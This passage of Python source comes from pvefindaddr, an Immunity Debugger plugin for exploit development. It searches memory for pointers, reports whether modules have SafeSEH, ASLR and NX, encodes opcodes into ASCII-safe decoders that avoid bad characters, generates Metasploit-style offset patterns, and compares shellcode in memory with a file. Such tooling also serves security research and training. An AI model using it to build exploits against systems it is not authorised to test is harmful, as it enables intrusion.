addys=imm.search( strb )
imm.log("Search complete")
imm.updateLog()
results = []
results += addys
for all in results:
nrfound += 1
imm.log("Total number of addresses found (before filtering) : %d, now filtering addresses" % nrfound)
tofile("Found "+str(nrfound)+" addresses pointing to "+inp,filename)
imm.updateLog()
if results:
#sort array
results.sort()
#List all addresses
maskfilt=" "
cnt=0
#did we specify a module ?
if modulefilter != "":
modulename = getmodnamefromname(modulefilter)
startaddress=int(getmoduleprop(modulename,"base"))
endaddress=int(getmoduleprop(modulename,"top"))
imm.log("Filtering pointers, only showing the ones between 0x%s and 0x%s" % (tohex(startaddress),tohex(endaddress)))
prevptr=0
info = ""
for all in results:
if (mask=="r"):
maskfilt="PAGE_READONLY"
if (mask=="rw"):
maskfilt="PAGE_READWRITE"
if (mask=="rx"):
maskfilt="PAGE_EXECUTE_READ"
if (mask=="rwx"):
maskfilt="PAGE_EXECUTE_READWRITE"
if (mask=="w"):
maskfilt="PAGE_WRITECOPY"
if (mask=="wx"):
maskfilt="PAGE_EXECUTE_WRITECOPY"
if (mask=="x"):
maskfilt="PAGE_EXECUTE"
if (all >= startaddress and all <= endaddress):
info=addressinfo(all)
else:
info="-"
if info.upper().find(maskfilt.upper()) > 0:
#consecutive ?
if (skipconsec==0) or (all != prevptr+4):
imm.log("Address : 0x%s : %s" % (tohex(all),info))
tofile("Location : 0x"+tohex(all)+" ",filename,all)
imm.updateLog()
nrdone += 1
prevptr=all
imm.log("Done. (Found %d addresses, out of which %d matched specified access mask (%s) and address range)" % (nrfound,nrdone,mask))
else:
imm.log("It looks like you forgot to specify the bytes to search for")
def writemodinfo(filename):
if filename=="":
cnt=0
if len(g_modules)==0:
moduleinfo()
imm = immlib.Debugger()
imm.log("----------------------------------------------------------------------------------------------------------------------------------")
imm.log(" Loaded modules")
imm.log("----------------------------------------------------------------------------------------------------------------------------------")
imm.log(" Fixup | Base | Top | Size | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path")
imm.log("----------------------------------------------------------------------------------------------------------------------------------")
safeseh="NO "
aslr="NO "
nx="NO "
rebased="NO "
osdll="NO "
for mods in g_modules:
modrecord=mods.split('\t')
if modrecord[8]=="1":
rebased="yes"
else:
rebased="NO "
if modrecord[5]=="1":
safeseh="yes"
else:
safeseh="NO "
if modrecord[6]=="1":
aslr="yes"
else:
aslr="NO "
if modrecord[7]=="1":
nx="yes"
else:
nx="NO "
if modrecord[10]=="1":
osdll="yes"
else:
osdll="NO "
imm.log(" "+rebased+" | 0x"+tohex(int(modrecord[2]))+" | 0x"+tohex(int(modrecord[4]))+" | 0x"+tohex(int(modrecord[3]))+" | "+safeseh+" | "+aslr+" | "+nx+" | "+osdll+" | "+modrecord[9]+" - "+modrecord[0]+" : "+modrecord[1])
imm.log("----------------------------------------------------------------------------------------------------------------------------------")
else:
cnt=0
if len(g_modules)==0:
moduleinfo()
tofile("----------------------------------------------------------------------------------------------------------------------------------",filename)
tofile(" Loaded modules",filename)
tofile("----------------------------------------------------------------------------------------------------------------------------------",filename)
tofile(" Fixup | Base | Top | Size | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path",filename)
tofile("----------------------------------------------------------------------------------------------------------------------------------",filename)
safeseh="NO "
aslr="NO "
nx="NO "
rebased="NO "
osdll="NO "
for mods in g_modules:
modrecord=mods.split('\t')
if modrecord[8]=="1":
rebased="yes"
else:
rebased="NO "
if modrecord[5]=="1":
safeseh="yes"
else:
safeseh="NO "
if modrecord[6]=="1":
aslr="yes"
else:
aslr="NO "
if modrecord[7]=="1":
nx="yes"
else:
nx="NO "
if modrecord[10]=="1":
osdll="yes"
else:
osdll="NO "
tofile(" "+rebased+" | 0x"+tohex(int(modrecord[2]))+" | 0x"+tohex(int(modrecord[4]))+" | 0x"+tohex(int(modrecord[3]))+" | "+safeseh+" | "+aslr+" | "+nx+" | "+osdll+" | "+modrecord[9]+" - "+modrecord[0]+" : "+modrecord[1],filename)
tofile("-------------------------------------------------------------------------------------------------------------------",filename)
tofile("",filename)
"""
Various functions
"""
def tohex(n):
return "%08X" % n
def toascii(imm,n):
try:
asciiequival=binascii.a2b_hex(n)
except:
asciiequival=" "
#print sys.exc_info()[0]
return asciiequival
def hex2signed(s):
return struct.unpack('!i', binascii.unhexlify(s))[0]
def hex2long(s):
return s.atol('FFFFFFFF',16)
def addresstoint(s):
return int(s, 16)
def tohexbyte(n):
return "%02X" % n
def u2(x):
if x & 0x80: # MSB set -> neg.
return -((~x & 0xff) + 1)
else:
return x
def isarray(a):
try:
sh = list(a.shape)
except AttributeError:
return 0
try:
sh[0] = sh[0]+1
a.shape = sh
except ValueError:
return 1
except IndexError:
return 1 # ? this is a scalar array
return 0
"""
Encoding
"""
def doencode(args):
imm= immlib.Debugger();
if len(args) >= 3:
#args[1] = mode
#args[2] = opcode to encode
#args[3] = badchars (optional)
# or
#args[1] = mode
#args[2] = baseaddress of opcode to encode (starts with -b)
#args[3] = size
#args[4] = badchars (optional)
badchars=[]
btoencode=args[2]
#add bad chars provided at command line, if applicable
if (args[2].lower().startswith("-b")):
#there must be 4th parameter specifying size
if len(args) >= 4 and len(args[2]) > 4:
#read data
startaddr=args[2]
startaddr=startaddr[2:len(args[2])]
startaddr=startaddr.replace('0x','')
startaddr=startaddr.replace('0X','')
startloc=addresstoint(startaddr)
bytes=""
max=int(args[3])
cnt=0
imm.log("Reading %d bytes from 0x%s..." % (max,startaddr))
imm.updateLog()
while cnt<max:
try:
memchar = imm.readMemory(startloc+cnt,1)
if len((hex(ord(memchar))).replace('0x',''))==1:
memchar2 = hex(ord(memchar)).replace('0x','0')
else:
memchar2 = hex(ord(memchar)).replace('0x','')
bytes=bytes+memchar2
cnt=cnt+1
except:
cnt=cnt+1
pass
btoencode=bytes
#bad chars specified ?
if len(args)>=5:
srcdata=args[4]
maxcnt=len(srcdata)
cnt=0
while (cnt < maxcnt-1):
thischar=srcdata[cnt]+srcdata[cnt+1]
badchars.append(addresstoint(thischar))
cnt=cnt+2
imm.log("Done - ready for encoding...")
else:
imm.log("You have specified a baseaddress, but forgot to mention the size parameter")
return
else:
if len(args)>=4:
srcdata=args[3]
#imm.log("Bad chars specified at command line : %d" % len(srcdata))
maxcnt=len(srcdata)
cnt=0
while (cnt < maxcnt-1):
thischar=srcdata[cnt]+srcdata[cnt+1]
badchars.append(addresstoint(thischar))
#imm.log("Added to bad char list : %d" % addresstoint(thischar))
cnt=cnt+2
if args[1].lower()=="ascii":
ib=0
while ib<32:
badchars.append(ib)
ib=ib+1
ib=127
while ib <= 255:
badchars.append(ib)
ib=ib+1
pveencode(args[1],btoencode,badchars)
if args[1].lower()=="alphanum":
ib=0
while ib < 32:
badchars.append(ib)
ib=ib+1
ib=33
while ib <= 47:
badchars.append(ib)
ib=ib+1
ib=58
while ib <= 64:
badchars.append(ib)
ib=ib+1
ib=91
while ib <= 96:
badchars.append(ib)
ib=ib+1
ib=123
while ib <= 255:
badchars.append(ib)
ib=ib+1
pveencode(args[1],btoencode,badchars)
else:
imm.log("Encode : Missing parameters, check syntax !")
def pveencode(type,source,badchars):
filename="encoded.txt"
resetfile(filename)
imm = immlib.Debugger()
if type=="ascii" or type=="alphanum":
#see if source is a filename
if os.path.isfile(source):
#read into variable
imm.log("Reading file %s..." % source)
srcdata=[]
srcfile = open(source,"rb")
content = srcfile.readlines()
srcfile.close()
for eachLine in content:
srcdata += eachLine
imm.log(" Read %d bytes from file" % len(srcdata))
cnt=0
maxcnt=len(srcdata)
source=""
hexchar=""
while (cnt < maxcnt):
try:
if len((hex(ord(srcdata[cnt]))).replace('0x',''))==1:
hexchar=hex(ord(srcdata[cnt])).replace('0x', '0')
else:
hexchar = hex(ord(srcdata[cnt])).replace('0x', '')
source += hexchar
cnt=cnt+1
except:
imm.log("Unable to process byte %d " % cnt)
cnt=cnt+1
imm.log("Bytes read from file : %s " % source)
#parameter are now bytes
#make sure total number multiple of 8
opack=len(source)/8
npack=opack*8
if npack != len(source):
target=((len(source)/8)+1)*8
else:
target=len(source)
while len(source) < target:
#add null bytes
source=source+"0"
nrblocks=len(source)/8
imm.log("ASCII encoder")
imm.log("-------------")
imm.log("4 byte aligned opcode to encode : %s" % source)
imm.log("Number of bytes to encode : %d" % ((len(source))/2))
imm.log("Number of encoding blocks : %d (4 byte each)" % nrblocks)
imm.log("")
imm.updateLog()
blockcnt=nrblocks
encoded=[]
while blockcnt > 0:
opcodes=[]
startpos=(blockcnt*8)-1
origbytes=source[startpos-7]+source[startpos-6]+source[startpos-5]+source[startpos-4]+source[startpos-3]+source[startpos-2]+source[startpos-1]+source[startpos]
reversebytes=origbytes[6]+origbytes[7]+origbytes[4]+origbytes[5]+origbytes[2]+origbytes[3]+origbytes[0]+origbytes[1]
revval=addresstoint(reversebytes)
twoval=4294967296-revval
twobytes=tohex(twoval)
imm.log("Block %d" % (nrblocks-blockcnt+1))
imm.log("---------")
imm.log("Opcode to produce : %s%s %s%s %s%s %s%s" % (origbytes[0],origbytes[1],origbytes[2],origbytes[3],origbytes[4],origbytes[5],origbytes[6],origbytes[7]))
imm.log(" reversed : %s%s %s%s %s%s %s%s" % (reversebytes[0],reversebytes[1],reversebytes[2],reversebytes[3],reversebytes[4],reversebytes[5],reversebytes[6],reversebytes[7]))
imm.log(" -----------")
imm.log(" 2's complement : %s%s %s%s %s%s %s%s" % (twobytes[0],twobytes[1],twobytes[2],twobytes[3],twobytes[4],twobytes[5],twobytes[6],twobytes[7]))
imm.updateLog()
#for each byte, start with last one first
bcnt=3
overflow=0
while bcnt >= 0:
currbyte=twobytes[(bcnt*2)]+twobytes[(bcnt*2)+1]
currval=addresstoint(currbyte)-overflow
testval=currval/3
if testval < 32:
#put 1 in front of byte
currbyte="1"+currbyte
currval=addresstoint(currbyte)-overflow
overflow=1
else:
overflow=0
val1=currval/3
val2=currval/3
val3=currval/3
sumval=val1+val2+val3
if sumval < currval:
val3=val3+(currval-sumval)
#validate / fix badchars
fixvals=validatebadchars(val1,val2,val3,badchars)
val1=fixvals[0]
val2=fixvals[1]
val3=fixvals[2]
opcodes.append(tohexbyte(val1))
opcodes.append(tohexbyte(val2))
opcodes.append(tohexbyte(val3))
bcnt=bcnt-1
imm.log(" -----------")
imm.log(" %s %s %s %s" % (opcodes[9],opcodes[6],opcodes[3],opcodes[0]))
imm.log(" %s %s %s %s" % (opcodes[10],opcodes[7],opcodes[4],opcodes[1]))
imm.log(" %s %s %s %s" % (opcodes[11],opcodes[8],opcodes[5],opcodes[2]))
#zero eax
encoded.append("25")
encoded.append("4A")
encoded.append("4D")
encoded.append("4E")
encoded.append("55")
encoded.append("25")
encoded.append("35")
encoded.append("32")
encoded.append("31")
encoded.append("2A")
#SUB EAX instructions
encoded.append("2D")
encoded.append(opcodes[0])
encoded.append(opcodes[3])
encoded.append(opcodes[6])
encoded.append(opcodes[9])
encoded.append("2D")
encoded.append(opcodes[1])
encoded.append(opcodes[4])
encoded.append(opcodes[7])
encoded.append(opcodes[10])
encoded.append("2D")
encoded.append(opcodes[2])
encoded.append(opcodes[5])
encoded.append(opcodes[8])
encoded.append(opcodes[11])
#push eax
encoded.append("50")
blockcnt=blockcnt-1
imm.log("")
imm.log("Decoder : %d bytes" % len(encoded))
imm.log("-------------------")
imm.log("[+] #Perl code - bytes")
tofile("# Original bytes to decode : " + source,filename)
tofile("# Original size : " + str(len(source))+" bytes",filename)
tofile("# Encoded size : " + str(len(encoded))+" bytes",filename)
tofile("# Perl code",filename)
imm.log("my $decoder=")
tofile("my $decoder=",filename)
dcnt=0
blockcnt=0
decoderstring=""
#26 bytes per block
while dcnt < len(encoded):
bcnt=0
thisline='"'
if blockcnt >= 26:
blockcnt=0
while (bcnt < 5) and (dcnt < len(encoded)) and (blockcnt < 26):
thisline=thisline+"\\x"+encoded[dcnt]
bcnt=bcnt+1
dcnt=dcnt+1
blockcnt=blockcnt+1
if dcnt < len(encoded):
thisline=thisline+'".'
else:
thisline=thisline+'";'
imm.log("%s" % thisline)
tofile(thisline,filename)
imm.log("")
imm.log("[+] #Perl code - ascii characters")
tofile("",filename)
tofile("# Perl code - ascii characters",filename)
dcnt=0
decoderstring=""
while dcnt < len(encoded):
thisbyte=toascii(imm,encoded[dcnt])
decoderstring=decoderstring+thisbyte
dcnt=dcnt+1
imm.log("my $decoder=\"%s\";" % decoderstring)
tofile("my $decoder=\"" + decoderstring + "\";",filename)
imm.log("")
imm.log("Output written to encoded.txt")
imm.log("")
def validatebadchars(val1,val2,val3,badchars):
newvals=[]
imm = immlib.Debugger()
allok=0
giveup=0
type=0
origval1=val1
origval2=val2
origval3=val3
d1=0
d2=0
d3=0
lastd1=0
lastd2=0
lastd3=0
while allok==0 and giveup==0:
#check if there are bad chars left
charcnt=0
val1ok=1
val2ok=1
val3ok=1
while charcnt < len(badchars):
if (val1 == badchars[charcnt]):
val1ok=0
if (val2 == badchars[charcnt]):
val2ok=0
if (val3 == badchars[charcnt]):
val3ok=0
charcnt=charcnt+1
if (val1ok==0) or (val2ok==0) or (val3ok==0):
allok=0
else:
allok=1
if allok==0:
#try first by sub 1 from val1 and val2, and add more to val3
if type==0:
val1=val1-1
val2=val2-1
val3=val3+2
if (val1<1) or (val2==0) or (val3 > 126):
val1=origval1
val2=origval2
val3=origval3
type=1
if type==1:
#then try by add 1 to val1 and val2, and sub more from val3
val1=val1+1
val2=val2+1
val3=val3-2
if (val1>126) or (val2>126) or (val3 < 1):
val1=origval1
val2=origval2
val3=origval3
type=2
if type==2:
#try by sub 2 from val1, and add 1 to val2 and val3
val1=val1-2
val2=val2+1
val3=val3+1
if (val1<1) or (val2>126) or (val3 > 126):
val1=origval1
val2=origval2
val3=origval3
type=3
if type==3:
#try by add 2 to val1, and sub 1 from val2 and val3
val1=val1+2
val2=val2-1
val3=val3-1
if (val1 > 126) or (val2 < 1) or (val3 < 1):
val1=origval1
val2=origval2
val3=origval3
type=4
if type==4:
if (val1ok==0):
val1=val1-1
d1=d1+1
else:
#now spread delta over other 2 values
if (d1 > 0):
val2=val2+1
val3=origval3+d1-1
d1=d1-1
else:
val1=0
if (val1 < 1) or (val2 > 126) or (val3 > 126):
val1=origval1
val2=origval2
val3=origval3
d1=0
type=5
if type==5:
if (val1ok==0):
val1=val1+1
d1=d1+1
else:
#now spread delta over other 2 values
if (d1 > 0):
val2=val2-1
val3=origval3-d1+1
d1=d1-1
else:
val1=255
if (val1>126) or (val2 < 1) or (val3 < 1):
val1=origval1
val2=origval2
val3=origval3
val1ok=0
val2ok=0
val3ok=0
d1=0
d2=0
d3=0
type=6
if type==6:
if (val1ok==0):
val1=val1-1
#d1=d1+1
if (val2ok==0):
val2=val2+1
#d2=d2+1
d3=origval1-val1+origval2-val2
val3=origval3+d3
#imm.log("%d -> %d -- %d -> %d -- %d -> %d (delta %d)" % (origval1,val1,origval2,val2,origval3,val3,d3))
if (lastd3==d3) and (d3 > 0):
val1=origval1
val2=origval2
val3=origval3
giveup=1
else:
lastd3=d3
if (val1<1) or (val2 < 1) or (val3 > 126):
val1=origval1
val2=origval2
val3=origval3
giveup=1
#check results
charcnt=0
val1ok=1
val2ok=1
val3ok=1
val1text="OK"
val2text="OK"
val3text="OK"
while charcnt < len(badchars):
if (val1 == badchars[charcnt]):
val1ok=0
val1text="NOK"
if (val2 == badchars[charcnt]):
val2ok=0
val2text="NOK"
if (val3 == badchars[charcnt]):
val3ok=0
val3text="NOK"
charcnt=charcnt+1
if (val1ok==0) or (val2ok==0) or (val3ok==0):
imm.log(" ** Unable to fix bad char issue !",highlight=1)
imm.log(" -> Values to check : %s(%s) %s(%s) %s(%s) " % (tohexbyte(origval1),val1text,tohexbyte(origval2),val2text,tohexbyte(origval3),val3text),highlight=1)
val1=origval1
val2=origval2
val3=origval3
newvals.append(val1)
newvals.append(val2)
newvals.append(val3)
return newvals
"""
Function to get info about a given address
"""
def addressinfo(address):
imm = immlib.Debugger()
module = getmodnamefromptr(address)
if len(g_modules)==0:
moduleinfo()
allmodules=g_mods
tagstr="[Module : "
modpath=""
osmodule=""
extrastring=""
if module:
if module == "":
tagstr=tagstr+"none]"
else:
modpath=" - " + getmoduleprop(module,"path")
osmodule=" * System dll : " + getmoduleprop(module,"systemdll")
mversion=getmoduleprop(module,"version")
tagstr=tagstr+module+"]"
if mversion != "":
tagstr=tagstr+" v"+mversion
if getmoduleprop(module,"fixup")=="1":
tagstr=tagstr+" [Fixup: Yes] "
else:
tagstr=tagstr+" [Fixup: ** NO **] "
if ismodulenosafeseh(module) == 1:
tagstr=tagstr+" [SafeSEH: ** NO ** - "
else:
tagstr=tagstr+" [SafeSEH: Yes - "
if ismodulenoaslr(module) == 1:
tagstr=tagstr+"ASLR: ** No (Probably not) **]"
else:
tagstr=tagstr+"ASLR : Yes]"
else:
tagstr=tagstr+"none]"
try:
page = imm.getMemoryPagebyAddress( address )
access = page.getAccess( human = True )
extrastring=" {"+access+"}"+modpath
except:
pass
memTypestr = imm.vmQuery(address)
if not memTypestr:
memType = "0x00000000"
else:
memType = "0x%08x" % memTypestr[4]
memType=getMemType(memType)
return tagstr+"]"+extrastring + " [Memory Type : " + memType + "]" + osmodule
def getMemType(mtype):
if mtype.upper()=="0X01000000" :
return "Image"
elif mtype.upper()=="0X00040000" :
return "Mapped"
elif mtype.upper()=="0X00020000" :
return "Private"
elif mtype.upper()=="0X00010000" :
return "Free"
elif mtype.upper()=="0X00002000" :
return "Reserved"
elif mtype.upper()=="0X00001000" :
return "Committed"
else:
return "Unknown"
"""
"""
def addressspec(hexaddr):
extrastring=""
nbstring=" ** "
if (hexaddr[0]=="0" and hexaddr[1]=="0") or (hexaddr[2]=="0" and hexaddr[3]=="0") or (hexaddr[4]=="0" and hexaddr[5]=="0") or (hexaddr[6]=="0" and hexaddr[7]=="0") :
nbstring=" ** Null byte **"
if (hexaddr[0]=="0" and hexaddr[1]=="0" and hexaddr[4]=="0" and hexaddr[5]=="0"):
extrastring=" ** Unicode compatible ** "
nbstring=" ** Null byte **"
else:
if (hexaddr[0]=="0" and hexaddr[1]=="0" and hexaddr[4]=="0" and hexaddr[5]=="1"):
extrastring=" ** Maybe Unicode compatible **"
nbstring=" ** Null byte **"
else:
#unicode conversion table - ansi
if (hexaddr[0]=="0" and hexaddr[1]=="0"):
nbstring=" ** Null byte **"
transform=0
almosttransform=0
twostr=hexaddr[2]+hexaddr[3]
threestr=hexaddr[4]+hexaddr[5]+hexaddr[6]
fourstr=hexaddr[4]+hexaddr[5]+hexaddr[6]+hexaddr[7]
threestr=threestr.upper()
fourstr=fourstr.upper()
uniansiconv = [ ["20AC","80"], ["201A","82"],
["0192","83"], ["201E","84"], ["2026","85"],
["2020","86"], ["2021","87"], ["02C6","88"],
["2030","89"], ["0106","8A"], ["2039","8B"],
["0152","8C"], ["017D","8E"], ["2018","91"],
["2019","92"], ["201C","93"], ["201D","94"],
["2022","95"], ["2013","96"], ["2014","97"],
["02DC","98"], ["2122","99"], ["0161","9A"],
["203A","9B"], ["0153","9C"], ["017E","9E"],
["0178","9F"]
]
convbyte=""
transbyte=""
ansibytes=""
for ansirec in uniansiconv:
if transform==0:
if ansirec[0]==fourstr:
convbyte=ansirec[1]
transbyte=ansirec[1]
transform=1
if transform==1:
extrastring=" ** Unicode ANSI transformed : 00"+twostr+"00"+convbyte
#possibly close
ansistring=""
for ansirec in uniansiconv:
if ansirec[0][:3]==threestr:
if (transform==0) or (transform==1 and ansirec[1] <> transbyte):
convbyte=ansirec[1]
ansibytes=ansirec[0]
ansistring=ansistring+"00"+twostr+"00"+convbyte+"->00"+twostr+ansibytes+" / "
almosttransform=1
if almosttransform==1:
if transform==0:
extrastring=" ** Unicode Possible ANSI transformation(s) : " + ansistring
else:
extrastring=extrastring + " / Alternatives (close pointers) : " + ansistring
extrastring=extrastring+nbstring
#see if address only contains limited ascii numbers/chars
b1=hexaddr[0]+hexaddr[1]
b2=hexaddr[2]+hexaddr[3]
b3=hexaddr[4]+hexaddr[5]
b4=hexaddr[6]+hexaddr[7]
bi1=addresstoint(b1)
bi2=addresstoint(b2)
bi3=addresstoint(b3)
bi4=addresstoint(b4)
#numbers : between 48 and 57
#chars : between 65 and 90, and between 97 and 122
#just ascii friendly ?
#between 20 and 126
if (bi1 >= 32 and bi1 <= 126) and (bi2 >= 32 and bi2 <= 126) and (bi3 >= 32 and bi3 <= 126) and (bi4 >= 32 and bi4 <= 126):
extrastring = extrastring + " - [Ascii printable]"
if (bi1 >= 48 and bi1 <= 57) or (bi1 >= 65 and bi1 <= 90) or (bi1 >= 97 and bi1 <= 122):
if (bi2 >= 48 and bi2 <= 57) or (bi2 >= 65 and bi2 <= 90) or (bi2 >= 97 and bi2 <= 122):
if (bi3 >= 48 and bi3 <= 57) or (bi3 >= 65 and bi3 <= 90) or (bi3 >= 97 and bi3 <= 122):
if (bi4 >= 48 and bi4 <= 57) or (bi4 >= 65 and bi4 <= 90) or (bi4 >= 97 and bi4 <= 122):
extrastring=extrastring + " - [Num&Alphabet Chars only !]"
if (bi1==0) and (bi2 >= 32 and bi2 <= 126) and (bi3 == 0) and (bi4 >= 32 and bi4 <= 126):
extrastring = extrastring + " - [ Ascii printable]"
if (bi1==0) and (bi2 >= 32 and bi2 <= 126) and (bi3 >= 32 and bi3 <= 126) and (bi4 >= 32 and bi4 <= 126):
extrastring = extrastring + " - [ Ascii printable - null byte]"
if (bi1==0) and (bi3==0):
if (bi2 >= 48 and bi2 <= 57) or (bi2 >= 65 and bi2 <= 90) or (bi2 >= 97 and bi2 <= 122):
if (bi4 >= 48 and bi4 <= 57) or (bi4 >= 65 and bi4 <= 90) or (bi4 >= 97 and bi4 <= 122):
extrastring=extrastring + " - [Num&Alphabet Chars only !]"
return extrastring
"""
Function to write 2 logfile
"""
def tofile(info,file1,address=0):
extrastring=""
tagstr=""
modpath=""
if address > 0:
hexaddr=tohex(address)
imm = immlib.Debugger()
if len(g_modules)==0:
moduleinfo()
extrastring=addressspec(hexaddr)
info=info.replace('\n',' - ')
# safeseh/aslr marker if we have a module
module = getmodnamefromptr(address)
if module:
if module == "":
tagstr=tagstr+"none]"
else:
mp=getmoduleprop(module,"path")
modpath=" - " +mp
if ismodulenosafeseh(module) == 1:
tagstr=" [SafeSEH: ** NO ** - "
else:
tagstr=" [SafeSEH: Yes - "
try:
if ismodulenoaslr(module) == 1:
tagstr=tagstr+"ASLR: ** No (Probably not) **]"
else:
tagstr=tagstr+"ASLR : Yes]"
except:
tagstr=tagstr+"ASLR : Unable to determine]"
if getmoduleprop(module,"fixup")=="1":
tagstr=tagstr+" [Fixup: Yes] "
else:
tagstr=tagstr+" [Fixup: ** NO **] "
try:
page = imm.getMemoryPagebyAddress( address )
access = page.getAccess( human = True )
extrastring=extrastring + " {"+access+"}"
except:
pass
FILE=open(file1,"a")
FILE.write(info+extrastring+tagstr+modpath+"\n")
FILE.close()
return ""
def resetfile(file1):
imm = immlib.Debugger()
try:
if os.path.exists(file1):
try:
os.delete(file1+".old")
except:
pass
try:
os.rename(file1,file1+".old")
except:
try:
os.rename(file1,file1+".old2")
except:
pass
except:
pass
try:
FILE=open(file1,"w")
FILE.write("=" * 80)
FILE.write("\n Output generated by pvefindaddr v"+__VERSION__+"\n")
FILE.write(" corelanc0d3r - http://www.corelan.be:8800\n")
FILE.write("=" * 80)
osver=imm.getOsVersion()
osrel=imm.getOsRelease()
FILE.write("\n OS : " + osver + ", release " + osrel+"\n")
FILE.write("=" * 80)
FILE.write("\n " + datetime.datetime.now().strftime("%Y-%m-%d %I:%M:%S") + "\n")
FILE.write("=" * 80)
FILE.write("\n")
FILE.close()
except:
pass
return ""
def IsNumber(value):
return str(value).replace(".", "").replace("-", "").replace(",","").isdigit()
"""
Metasploit-compatible pattern
"""
def pattern_create(size):
char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
char2="abcdefghijklmnopqrstuvwxyz"
char3="0123456789"
charcnt=0
pattern=""
max=int(size)
for ch1 in char1:
for ch2 in char2:
for ch3 in char3:
if charcnt<max:
pattern=pattern+ch1
charcnt=charcnt+1
if charcnt<max:
pattern=pattern+ch2
charcnt=charcnt+1
if charcnt<max:
pattern=pattern+ch3
charcnt=charcnt+1
return pattern
"""
Calculate offset in Metasploit compatible pattern
"""
def pattern_offset(searchpat,size,imm):
mspattern=""
patsize=int(size)
mspattern=pattern_create(size)
if len(searchpat)==4:
ascipat2=searchpat
imm.log("Looking for %s in pattern of %d bytes" % (ascipat2,patsize))
if ascipat2 in mspattern:
patpos = mspattern.find(ascipat2)
imm.log(" - Pattern %s found in Metasploit pattern at position %d" % (ascipat2,patpos),highlight=1)
else:
imm.log(" - Pattern %s not found in Metasploit pattern" % ascipat2)
if len(searchpat)==8:
searchpat="0x"+searchpat
if len(searchpat)==10:
hexpat=searchpat
ascipat3=toascii(imm,hexpat[8]+hexpat[9])+toascii(imm,hexpat[6]+hexpat[7])+toascii(imm,hexpat[4]+hexpat[5])+toascii(imm,hexpat[2]+hexpat[3])
imm.log("Looking for %s in pattern of %d bytes" % (ascipat3,patsize))
if ascipat3 in mspattern:
patpos = mspattern.find(ascipat3)
imm.log(" - Pattern %s (%s) found in Metasploit pattern at position %d" % (ascipat3,hexpat,patpos),highlight=1)
else:
#maybe it's reversed
ascipat4=toascii(imm,hexpat[2]+hexpat[3])+toascii(imm,hexpat[4]+hexpat[5])+toascii(imm,hexpat[6]+hexpat[7])+toascii(imm,hexpat[8]+hexpat[9])
imm.log("Looking for %s in pattern of %d bytes" % (ascipat4,patsize))
if ascipat4 in mspattern:
patpos = mspattern.find(ascipat4)
imm.log(" - Pattern %s (%s reversed) found in Metasploit pattern at position %d" % (ascipat4,hexpat,patpos),highlight=1)
else:
imm.log(" - Pattern %s not found in Metasploit pattern" % ascipat4)
"""
Compare shellcode in memory with data from a file
"""
def memcompare(imm,location,srcdata,comparetable,sctype):
filename="compare.txt"
loc = location.replace("0x","")
loc = loc.replace("0X","")
imm.log(" * Reading memory at location : 0x%s " % location,address=addresstoint(location),highlight=1)
tofile("* Reading memory at location 0x" + location,filename)
imm.updateLog()
memloc=addresstoint(loc)
#read memory at that location and compare with bytes in array
maxcnt=len(srcdata)
brokenbytes=[]
filelines=[]
memlines=[]
nrokbytes=0
nrbrokenbytes=0
cnt=0
linecount=0
firstcorruption=0
while (cnt < maxcnt):
#group per 8 bytes for display purposes
btcnt=0
hexstr=""
thislinemem=""
thislinefile=""
while ((btcnt < 8) and (cnt < maxcnt)):
try:
if len((hex(ord(srcdata[cnt]))).replace('0x',''))==1:
thischar=hex(ord(srcdata[cnt])).replace('0x','0')
hexchar=hex(ord(srcdata[cnt])).replace('0x', '\\x0')
else:
thischar=hex(ord(srcdata[cnt])).replace('0x','')
hexchar = hex(ord(srcdata[cnt])).replace('0x', '\\x')
#thischar = hex(ord(srcdata[cnt])).replace('0x','')
#hexchar = hex(ord(srcdata[cnt])).replace('0x', '\\x')
hexstr += hexchar
memchar = imm.readMemory(memloc+cnt,1)
#compare byte in memory with byte in file
if len((hex(ord(memchar))).replace('0x',''))==1:
memchar2 = hex(ord(memchar)).replace('0x','0')
else:
memchar2 = hex(ord(memchar)).replace('0x','')
thislinefile=thislinefile+thischar
if (memchar2 == thischar):
nrokbytes=nrokbytes+1
thislinemem=thislinemem+thischar
else:
nrbrokenbytes=nrbrokenbytes+1
thislinemem=thislinemem+"--"
if (firstcorruption==0):
firstcorruption=cnt
imm.log(" Corruption at position %d : Original byte : %s - Byte in memory : %s" % (cnt,thischar,memchar2))
tofile(" Corruption at position " +str(cnt)+" : Original byte : " + thischar + " - Byte in memory : " + memchar2,filename)
btcnt=btcnt+1
cnt=cnt+1
except:
imm.log(" ******* Error processing byte %s " % cnt)
tofile(" ******* Error processing byte " + str(cnt),filename)
imm.updateLog()
cnt=cnt+1
btcnt=btcnt+1
continue
filelines += thislinefile
memlines += thislinemem
if (nrokbytes == maxcnt):
imm.log(" -> Hooray, %s shellcode unmodified" % sctype,focus=1, highlight=1)
tofile(" -> Hooray, " + sctype + " shellcode unmodified",filename)
comparetable.add(0,["0x%s"%(location),'Unmodified',sctype])
else:
imm.log(" -> Only %d original bytes of %s code found !" % (nrokbytes,sctype))
tofile(" -> Only " + str(nrokbytes)+" original bytes found",filename)
comparetable.add(0,['0x%s'%(location),'Corruption after %d bytes'%(firstcorruption),sctype])
lcnt=0
lmax = len(filelines)
imm.log(" +-----------------------+-----------------------+")
tofile(" +-----------------------+-----------------------+",filename)
imm.log(" | FILE | MEMORY |")
tofile(" | FILE | MEMORY |",filename)
imm.log(" +-----------------------+-----------------------+")
tofile(" +-----------------------+-----------------------+",filename)
while (lcnt < lmax):
#read in pairs of 8 bytes
bytecnt=0
logline1="|"
logline2=""
while ((lcnt < lmax) and (bytecnt < 16)):
pair=0
while ((lcnt < lmax) and (pair < 2)):
logline1=logline1+filelines[lcnt]
logline2=logline2+memlines[lcnt]
pair=pair+1
lcnt=lcnt+1
bytecnt=bytecnt+1
logline1=logline1+"|"
logline2=logline2+"|"
if (bytecnt < 16):
while (bytecnt < 16):
logline1=logline1+" "
logline2=logline2+" "
bytecnt=bytecnt+1
logline1=logline1+"|"
logline2=logline2+"|"
imm.log(" %s%s" % (logline1,logline2))
tofile(" "+logline1+logline2,filename)
imm.log(" +-----------------------+-----------------------+")
tofile(" +-----------------------+-----------------------+",filename)
imm.log("")
def tocontent(memcontent):
mycontent=""
for membyte in memcontent:
newbyte=hex(ord(membyte)).replace('0x','')
if(len(newbyte)==1):
mycontent=mycontent+"0"+newbyte
else:
mycontent=mycontent+newbyte
if (len(mycontent)==8):
newcontent=mycontent[6]+mycontent[7]+mycontent[4]+mycontent[5]+mycontent[2]+mycontent[3]+mycontent[0]+mycontent[1]
